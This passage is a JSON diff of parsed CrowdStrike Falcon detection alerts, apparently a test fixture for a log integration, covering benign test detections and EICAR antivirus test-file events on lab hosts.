"QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 10303, + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 90, + "SeverityName": "Critical", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Falcon Overwatch", + "Technique": "Malicious Activity", + "Type": "ldt" + }, + "device": { + "id": "cff45d56127743a593792fb968dac907" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42951223180\",\"CommandLine\":\"cmd crowdstrike_test_critical\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528\",\"DataDomains\":\"Endpoint\",\"Description\":\"A critical level detection was triggered on this process for testing purposes.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43444774922-10303-1888528?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"cmd.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"bd5bfe63bc48507039f7e3afa5b01a70\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10303,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43444774922,\"ProcessStartTime\":1752575334,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06\",\"Severity\":90,\"SeverityName\":\"Critical\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Falcon Overwatch\",\"Technique\":\"Malicious Activity\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 99, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", + "hash": { + "md5": "bd5bfe63bc48507039f7e3afa5b01a70", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06" + }, + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "domain": "dave-win10-3", + "hostname": "dave-win10-3", + "mac": [ + "BA-D0-00-BA-D0-00" + ], + "name": "dave-win10-3" + }, + "message": "A critical level detection was triggered on this process for testing purposes.", + "process": { + "command_line": "cmd crowdstrike_test_critical", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "43444774922", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe", + "parent": { + "entity_id": "43425257674", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe" + }, + "start": "2025-07-15T10:28:54.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "27c6ca0e877b6e7a9c7fb2c2e2919df8eaf7db84d82b2652e9a90c31a271db06", + "bd5bfe63bc48507039f7e3afa5b01a70" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "description": "A critical level detection was triggered on this process for testing purposes.", + "name": "Suspicious Activity" + }, + "source": { + "address": "10.0.0.13", + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:42950506623", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE", + "GrandparentImageFileName": "explorer.exe", + "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe", + "HostGroups": [ + "6b15afc3ea3a42ed810b5c163e490a9d" + ], + "MACAddress": "ba-d0-00-ba-d0-00", + "Objective": "Falcon Detection Method", + "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 10197, + "PlatformId": "0", + "PlatformName": "Windows", + "SensorId": "cff45d56127743a593792fb968dac907", + "Severity": 30, + "SeverityName": "Low", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Malware", + "Technique": "Malicious File", + "Type": "ldt" + }, + "device": { + "id": "cff45d56127743a593792fb968dac907" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "directory": "\\Device\\HarddiskVolume4\\Windows\\System32", + "hash": { + "md5": "ce0219f7ab9077db1c089a48eaa82eb1", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930" + }, + "name": "choice.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe" + }, + "host": { + "domain": "dave-win10-3", + "hostname": "dave-win10-3", + "mac": [ + "BA-D0-00-BA-D0-00" + ], + "name": "dave-win10-3" + }, + "message": "For evaluation only - benign, no action needed.", + "process": { + "command_line": "choice /m crowdstrike_sample_detection", + "end": "1970-01-01T00:00:00.000Z", + "entity_id": "43438097407", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe", + "name": "choice.exe", + "parent": { + "entity_id": "43425257674", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "name": "cmd.exe" + }, + "start": "2025-07-15T10:28:38.000Z" + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930", + "ce0219f7ab9077db1c089a48eaa82eb1" + ], + "hosts": [ + "dave-win10-3" + ], + "ip": [ + "10.0.0.13" + ], + "user": [ + "win10_user3" + ] + }, + "rule": { + "description": "For evaluation only - benign, no action needed.", + "name": "Suspicious Activity" + }, + "source": { + "address": "10.0.0.13", + "ip": "10.0.0.13" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "win10_user3" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "GrandparentCommandLine": "falcon-sensor-bpf", + "GrandparentImageFileName": "falcon-sensor-bpf17804", + "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804", + "HostGroups": [ + "5b2e67ccb1de4ac0b1c49225c8fcb132" + ], + "MACAddress": "52-54-00-58-b6-5e", + "Objective": "Follow Through", + "ParentCommandLine": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n# Run a bash script with specified command line and timeout\n# DESCRIPTION\n# CrowdStrike Real Time Response command\n# PARAMETER WD\n# Current working directory\n# PARAMETER Param1\n# Script body - Required\n# PARAMETER Param2\n# Command line sent to script\n# PARAMETER Param3\n# Local path - path to local file to be used as script body\n# PARAMETER Param4\n# Timeout in seconds\n# NOTES\n# File Name : runscript.sh\n# Contact : support@crowdstrike.com\n# Copyright : CrowdStrike 2020\n# LINK\n# https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n echo \"$command: $1\" >&2\n exit 1\n}\n\nfunction err_handler()\n{\n # Rewrite the error message to remove the internal command prefix\n echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n eval set -- \"$1\"\n echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n script=\"$1\"\n shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n script_args=\"$1\"\n shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n script_path=\"$(get_arg \"$1\")\"\n if [ -n \"$script_path\" ]; then\n script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n fi\n shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n if [ -n \"$1\" ]; then\n timeout=\"$1\"\n fi\n shift\nfi\n\nif [ -z \"$script\" ]; then\n die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n current_time=$(get_time)\n if ((current_time - start_time >= timeout*resolution)); then\n kill -9 $pid >/dev/null 2>&1\n echo \"$command: Timed out waiting for script to exit\" >&2\n kill -9 -$$ >/dev/null 2>&1\n fi\n if ((current_time - last_print_time >= print_interval*resolution)); then\n printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n last_print_time=$current_time\n fi\n /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com ", + "PatternDispositionDescription": "Detection, standard detection.", + "PatternDispositionFlags": { + "BlockingUnsupportedOrDisabled": false, + "BootupSafeguardEnabled": false, + "ContainmentFileSystem": false, + "CriticalProcessDisabled": false, + "Detect": false, + "FsOperationBlocked": false, + "HandleOperationDowngraded": false, + "InddetMask": false, + "Indicator": false, + "KillActionFailed": false, + "KillParent": false, + "KillProcess": false, + "KillSubProcess": false, + "OperationBlocked": false, + "PolicyDisabled": false, + "ProcessBlocked": false, + "QuarantineFile": false, + "QuarantineMachine": false, + "RegistryOperationBlocked": false, + "Rooting": false, + "SensorOnly": false, + "SuspendParent": false, + "SuspendProcess": false + }, + "PatternDispositionValue": 0, + "PatternId": 30195, + "PlatformId": "3", + "PlatformName": "Linux", + "SensorId": "1d58fa2265b540b79cd057e8fa798e4d", + "Severity": 10, + "SeverityName": "Informational", + "SourceProducts": "Falcon Insight", + "SourceVendors": "CrowdStrike", + "Tactic": "Execution", + "Technique": "User Execution", + "Type": "ldt" + }, + "device": { + "id": "1d58fa2265b540b79cd057e8fa798e4d" + }, + "event": { + "category": [ + "malware" + ], + "kind": "alert", + "original": "{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n# Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n# CrowdStrike Real Time Response command\\n# PARAMETER WD\\n# Current working directory\\n# PARAMETER Param1\\n# Script body - Required\\n# PARAMETER Param2\\n# Command line sent to script\\n# PARAMETER Param3\\n# Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n# Timeout in seconds\\n# NOTES\\n# File Name : runscript.sh\\n# Contact : support@crowdstrike.com\\n# Copyright : CrowdStrike 2020\\n# LINK\\n# https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n echo \\\"$command: $1\\\" >&2\\n exit 1\\n}\\n\\nfunction err_handler()\\n{\\n # Rewrite the error message to remove the internal command prefix\\n echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n eval set -- \\\"$1\\\"\\n echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script=\\\"$1\\\"\\n shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_args=\\\"$1\\\"\\n shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n if [ -n \\\"$script_path\\\" ]; then\\n script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n fi\\n shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n if [ -n \\\"$1\\\" ]; then\\n timeout=\\\"$1\\\"\\n fi\\n shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ \\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n current_time=$(get_time)\\n if ((current_time - start_time >= timeout*resolution)); then\\n kill -9 $pid >/dev/null 2>&1\\n echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n kill -9 -$$ >/dev/null 2>&1\\n fi\\n if ((current_time - last_print_time >= print_interval*resolution)); then\\n printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n last_print_time=$current_time\\n fi\\n /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}", + "severity": 21, + "type": [ + "info" + ] + }, + "file": { + "directory": "/usr/bin", + "hash": { + "md5": "21cdb844225f8dc4ea6e9f80f9940a2b", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d" + }, + "name": "bash", + "path": "/usr/bin/bash" + }, + "host": { + "hostname": "cs-elastic", + "mac": [ + "52-54-00-58-B6-5E" + ], + "name": "cs-elastic" + }, + "message": "A process has written a known EICAR test file. Review the files written by the triggered process.", + "process": { + "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash", + "end": "2025-07-03T08:55:35.000Z", + "entity_id": "1751532935660927000", + "executable": "/usr/bin/bash", + "name": "bash", + "parent": { + "entity_id": "1751532935654264600", + "executable": "/usr/bin/bash", + "name": "bash" + }, + "start": "2025-07-03T08:55:35.000Z", + "uptime": 0 + }, + "related": { + "hash": [ + "0000000000000000000000000000000000000000", + "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d", + "21cdb844225f8dc4ea6e9f80f9940a2b" + ], + "hosts": [ + "cs-elastic" + ], + "ip": [ + "192.168.64.5" + ], + "user": [ + "root" + ] + }, + "rule": { + "description": "A process has written a known EICAR test file. Review the files written by the triggered process.", + "name": "Attacker Methodology" + }, + "source": { + "address": "192.168.64.5", + "ip": "192.168.64.5" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "root" + } + }, + { + "@timestamp": "2020-04-28T11:07:58.223Z", + "crowdstrike": { + "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725", + "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320", + "DataDomains": "Endpoint", + "ExternalApiType": "Event_EppDetectionSummaryEvent", + "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK", + "FilesAccessed": [ + { + "FileName": "eicarcom2.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "thumbcache_16.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "thumbcache_idx.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:30.000Z" + }, + { + "FileName": "GLEAM-LIGHT.svg", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", + "Timestamp": "2025-07-01T12:10:35.000Z" + }, + { + "FileName": "GLEAM-DARK.svg", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds", + "Timestamp": "2025-07-01T12:10:35.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:41.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:42.000Z" + }, + { + "FileName": "eicar_com.zip", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2", + "Timestamp": "2025-07-01T12:10:43.000Z" + }, + { + "FileName": "iconcache_16.db", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer", + "Timestamp": "2025-07-01T12:10:43.000Z" + } + ], + "FilesWritten": [ + { + "FileName": "eicar.com", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com", + "Timestamp": "2025-07-01T12:10:43.000Z" + }, + { + "FileName": "The Internet.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:07:38.000Z" + }, + { + "FileName": "windowsdefender--threat-.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:07:38.000Z" + }, + { + "FileName": "The Internet.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:04.000Z" + }, + { + "FileName": "windowsdefender--threat-.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:04.000Z" + }, + { + "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk", + "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent", + "Timestamp": "2025-07-01T12:09:21.000Z" + } + ], + "GrandparentCommandLine": "winlogon.exe", + "GrandparentImageFileName": "winlogon.exe", + "GrandparentImageFilePath": 